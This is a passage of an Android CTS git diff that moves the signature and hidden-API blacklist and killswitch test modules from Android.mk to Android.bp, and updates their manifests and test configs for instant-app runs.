+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsCurrentApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    java_resources: [
+        ":cts-current-txt",
+        ":cts-android-test-base-current-txt",
+        ":cts-android-test-mock-current-txt",
+        ":cts-android-test-runner-current-txt",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/current-api/Android.mk b/tests/signature/api-check/current-api/Android.mk
deleted file mode 100644
index 31b1229..0000000
--- a/tests/signature/api-check/current-api/Android.mk
+++ /dev/null
@@ -1,27 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsCurrentApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
-    current.api \
-    android-test-base-current.api \
-    android-test-mock-current.api \
-    android-test-runner-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/current-api/AndroidManifest.xml b/tests/signature/api-check/current-api/AndroidManifest.xml
index ab8b1f6..aa6e6c5 100644
--- a/tests/signature/api-check/current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/current-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.current">
+          package="android.signature.cts.api.current"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
diff --git a/tests/signature/api-check/current-api/AndroidTest.xml b/tests/signature/api-check/current-api/AndroidTest.xml
index 0d77827..d605847 100644
--- a/tests/signature/api-check/current-api/AndroidTest.xml
+++ b/tests/signature/api-check/current-api/AndroidTest.xml
@@ -16,25 +16,9 @@
 <configuration description="Config for CTS Current API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="not-shardable" value="true" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="android-test-base-current.api->/data/local/tmp/signature-test/android-test-base-current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCurrentApiSignatureTestCases.apk" />
@@ -43,8 +27,8 @@
         <option name="package" value="android.signature.cts.api.current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.current.SignatureTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="current.api" />
-        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-base-current.api,android-test-mock-current.api,android-test-runner-current.api" />
+        <option name="instrumentation-arg" key="expected-api-files" value="current.txt" />
+        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-base-current.txt,android-test-mock-current.txt,android-test-runner-current.txt" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/Android.bp b/tests/signature/api-check/hidden-api-blacklist-27-api/Android.bp
new file mode 100644
index 0000000..7750b14
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsHiddenApiBlacklistApi27TestCases",
+    defaults: [
+        "hiddenapi-blacklist-check-defaults",
+    ],
+    min_sdk_version: "27",
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk b/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk
deleted file mode 100644
index 59f7d6f2..0000000
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk
+++ /dev/null
@@ -1,22 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistApi27TestCases
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidManifest.xml
index c714e97..144d631 100644
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidManifest.xml
@@ -16,10 +16,11 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.hiddenapi_blacklist_api_27">
+          package="android.signature.cts.api.hiddenapi_blacklist_api_27"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-    <uses-sdk android:targetSdkVersion="27" />
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27" />
 
     <application android:extractNativeLibs="true" android:largeHeap="true"/>
 
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
index e19f874..d168b2d 100644
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
@@ -16,15 +16,8 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHiddenApiBlacklistApi27TestCases.apk" />
@@ -33,7 +26,7 @@
         <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_api_27" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.api27.HiddenApiTest" />
-        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
         <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist" />
         <option name="runtime-hint" value="30s" />
     </test>
diff --git a/tests/signature/api-check/hidden-api-blacklist-28-api/Android.bp b/tests/signature/api-check/hidden-api-blacklist-28-api/Android.bp
new file mode 100644
index 0000000..44ec9ba
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-28-api/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsHiddenApiBlacklistApi28TestCases",
+    defaults: [
+        "hiddenapi-blacklist-check-defaults",
+    ],
+    min_sdk_version: "27",
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/hidden-api-blacklist-28-api/Android.mk b/tests/signature/api-check/hidden-api-blacklist-28-api/Android.mk
deleted file mode 100644
index f1cd2f3..0000000
--- a/tests/signature/api-check/hidden-api-blacklist-28-api/Android.mk
+++ /dev/null
@@ -1,22 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistApi28TestCases
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidManifest.xml
index d011b88..919cd00 100644
--- a/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidManifest.xml
@@ -16,10 +16,11 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.hiddenapi_blacklist_api_28">
+          package="android.signature.cts.api.hiddenapi_blacklist_api_28"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-    <uses-sdk android:targetSdkVersion="28" />
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="28" />
 
     <application android:extractNativeLibs="true" android:largeHeap="true"/>
 
diff --git a/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml
index 3c407b3..6285971 100644
--- a/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml
@@ -16,15 +16,8 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHiddenApiBlacklistApi28TestCases.apk" />
@@ -33,7 +26,7 @@
         <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_api_28" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.api28.HiddenApiTest" />
-        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
         <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o" />
         <option name="runtime-hint" value="30s" />
     </test>
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/Android.bp b/tests/signature/api-check/hidden-api-blacklist-current-api/Android.bp
new file mode 100644
index 0000000..ea419f2
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsHiddenApiBlacklistCurrentApiTestCases",
+    defaults: [
+        "hiddenapi-blacklist-check-defaults",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk b/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk
deleted file mode 100644
index bfd890b..0000000
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk
+++ /dev/null
@@ -1,22 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistCurrentApiTestCases
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidManifest.xml
index 4c1528b..a17daac 100644
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.hiddenapi_blacklist_current">
+          package="android.signature.cts.api.hiddenapi_blacklist_current"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
index 904f2f1..3fb352d 100644
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
@@ -16,15 +16,8 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHiddenApiBlacklistCurrentApiTestCases.apk" />
@@ -33,7 +26,7 @@
         <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.current.HiddenApiTest" />
-        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
         <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o,greylist-max-p" />
         <option name="runtime-hint" value="30s" />
     </test>
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.bp b/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.bp
new file mode 100644
index 0000000..150ba8c
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsHiddenApiBlacklistDebugClassTestCases",
+    defaults: [
+        "hiddenapi-blacklist-check-defaults",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk b/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
deleted file mode 100644
index 9048d8e..0000000
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
+++ /dev/null
@@ -1,22 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistDebugClassTestCases
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidManifest.xml
index e0e9a3e..8646c80 100644
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidManifest.xml
@@ -16,7 +16,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.hiddenapi_blacklist_debug_class">
+          package="android.signature.cts.api.hiddenapi_blacklist_debug_class"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
index 9209d59..9c49d41 100644
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
@@ -16,15 +16,8 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHiddenApiBlacklistDebugClassTestCases.apk" />
@@ -33,7 +26,7 @@
         <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_debug_class" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.DebugClassHiddenApiTest" />
-        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
         <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o,greylist-max-p" />
         <option name="runtime-hint" value="30s" />
     </test>
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp b/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp
new file mode 100644
index 0000000..cb86794
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsHiddenApiKillswitchDebugClassTestCases",
+    defaults: ["hiddenapi-killswitch-check-defaults"],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.mk b/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.mk
deleted file mode 100644
index 003eb7f..0000000
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiKillswitchDebugClassTestCases
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker libclassdescriptors
-LOCAL_NDK_STL_VARIANT := c++_static
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
-
-LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml
index 5435b61..b502561 100644
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml
@@ -16,7 +16,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.killswitch_debug_class">
+          package="android.signature.cts.api.killswitch_debug_class"
+          android:targetSandboxVersion="2">
 
     <application android:debuggable="true"
                  android:extractNativeLibs="true"
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
index 7f144c0..68c3e5c 100644
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
@@ -16,7 +16,7 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.bp b/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.bp
new file mode 100644
index 0000000..2c1e8f4
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsHiddenApiKillswitchWhitelistTestCases",
+    defaults: ["hiddenapi-killswitch-check-defaults"],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.mk b/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.mk
deleted file mode 100644
index 5dca9c1..0000000
--- a/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.mk
